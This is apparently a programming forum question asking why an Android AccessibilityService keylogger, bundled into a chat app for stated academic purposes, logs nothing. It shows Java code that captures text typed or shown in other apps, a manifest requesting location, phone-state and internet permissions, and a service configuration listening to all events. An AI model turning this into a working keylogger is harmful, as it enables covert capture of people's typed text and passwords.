I am working on an Android app (academic purposes) and as part of the app I want to integrate a Keylogger. Following this answer Android Key logger I tried to implement it using AccessibilityService. The code for my class, called Keylogger.java, is the following:
import android.accessibilityservice.AccessibilityService;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
public class Keylogger extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
int tipo = event.getEventType();
switch(tipo) {
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
default:
break;
}
}
@Override
public void onInterrupt() {
}
@Override
public void onServiceConnected() {
Log.d("Keylogger", "Starting service");
}
}
The Manifest file looks like this:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.mychat">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" ></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".ChatBoxActivity">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".Keylogger"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
</application>
and finally, the Configuration file for the service:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames=""
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="" />
When I install the app on the device it works just fine (that is, I get no errors), and I can manually activate the service going to Settings >> Accessibility. But nothing happens next. I tried everything (launch other applications and type some text) but the prints that I placed on each case will not show up. The app does several things but from my understanding the service should work automatically. What am I missing and how can I get it right?
Thank you in advance.
